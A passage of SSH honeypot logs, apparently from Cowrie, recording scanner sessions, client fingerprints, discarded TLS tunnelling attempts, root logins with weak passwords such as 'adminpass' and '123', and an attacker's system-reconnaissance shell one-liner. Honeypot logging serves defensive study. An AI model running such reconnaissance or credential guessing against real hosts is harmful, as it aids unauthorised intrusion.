?\\xed\\x0f\\xf9\\x19=\\xdd\\xd6<p\\xf4\\x1f\\xf4Z\\x198m\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:51.449357Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:51.490543Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:51.493304Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:52.059251Z","src_ip":"101.44.96.62","session":"8a1bbe72bdb2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.193.237.47","dst_port":443,"src_ip":"185.156.73.233","src_port":47668,"message":"direct-tcp connection request to 23.193.237.47:443 from 127.0.0.1:47668","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:52.111208Z","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.193.237.47","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.193.237.47:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:54.058812Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.193.237.47","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k&\\x0f^\\xfc\\xaf\\x0b\\xf5\\xe1Y\\x1c.\\xdd\\xcf\\xc9_\\xe5\\xec\\xe5\\xe5d\\xeb\\xc03>K\\xdb1O\\x0f\\x9b\\xea +\\x1369\\xeeV\\xe8\\x80L\\xa2!\\xab\\xca\\x8bf\\xf9\\x01|\\x08q\\xfe\\x95uW\\xd7\\x16\\xe3.\\x0f\\xdf\\x01\\xa9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd4\\xa0\\xd3\\xedT\\xad*K@\\x1d\\xa3\\x1aO5\\x06w4\\xdf\\x12s\\x04\\x90D~\\x9c$\\x88\\x80=\\xc62\\x02\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.193.237.47:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k&\\x0f^\\xfc\\xaf\\x0b\\xf5\\xe1Y\\x1c.\\xdd\\xcf\\xc9_\\xe5\\xec\\xe5\\xe5d\\xeb\\xc03>K\\xdb1O\\x0f\\x9b\\xea +\\x1369\\xeeV\\xe8\\x80L\\xa2!\\xab\\xca\\x8bf\\xf9\\x01|\\x08q\\xfe\\x95uW\\xd7\\x16\\xe3.\\x0f\\xdf\\x01\\xa9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd4\\xa0\\xd3\\xedT\\xad*K@\\x1d\\xa3\\x1aO5\\x06w4\\xdf\\x12s\\x04\\x90D~\\x9c$\\x88\\x80=\\xc62\\x02\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:54.062604Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.153.119","dst_port":443,"src_ip":"185.156.73.233","src_port":49562,"message":"direct-tcp connection request to 142.251.153.119:443 from 127.0.0.1:49562","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:57.456657Z","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.153.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.153.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:58.518130Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.153.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\x88\\x93\\xea\\xee\\x91\\xdd\\x1c\\xf3\\x9b\\x94y\\x1c\\xe4\\xee/dm\\xe1\\xc5\\x9c\\xe5\\x12c4\\xb3\\x90\\xc0\\xcb\\x13=\\xf0 \\xc7\\xd8\\x03S\\x18h\\\\\\x1b\\x08n\\x1c\\xbb\\x1f \\x11\\xb4\\x8a\\x80\\xe8c\\xd8*1\\xe7\\x83\\x82\\xe6\\x0e\\x85B\\xb0\\xf8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 1t\\xcb\\xf1\\x994\\xce\\xa7\\x1c\\xa9}\\xff\\xaf3<\\xbe\\xfe\\xb7\\x9aw9[\\x01\\xe051`h\\xf5\\xcc\\xfb\\x0e\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.153.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\x88\\x93\\xea\\xee\\x91\\xdd\\x1c\\xf3\\x9b\\x94y\\x1c\\xe4\\xee/dm\\xe1\\xc5\\x9c\\xe5\\x12c4\\xb3\\x90\\xc0\\xcb\\x13=\\xf0 \\xc7\\xd8\\x03S\\x18h\\\\\\x1b\\x08n\\x1c\\xbb\\x1f \\x11\\xb4\\x8a\\x80\\xe8c\\xd8*1\\xe7\\x83\\x82\\xe6\\x0e\\x85B\\xb0\\xf8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 1t\\xcb\\xf1\\x994\\xce\\xa7\\x1c\\xa9}\\xff\\xaf3<\\xbe\\xfe\\xb7\\x9aw9[\\x01\\xe051`h\\xf5\\xcc\\xfb\\x0e\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:58.521759Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:59.122124Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":56306,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed37d8c5f4e2","protocol":"ssh","message":"New connection: 77.90.185.17:56306 (10.17.0.5:22) [session: ed37d8c5f4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:01.516549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:01.520385Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:01.629489Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminpass","message":"login attempt [root/adminpass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.164816Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123","message":"login attempt [root/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.181528Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.564366Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo 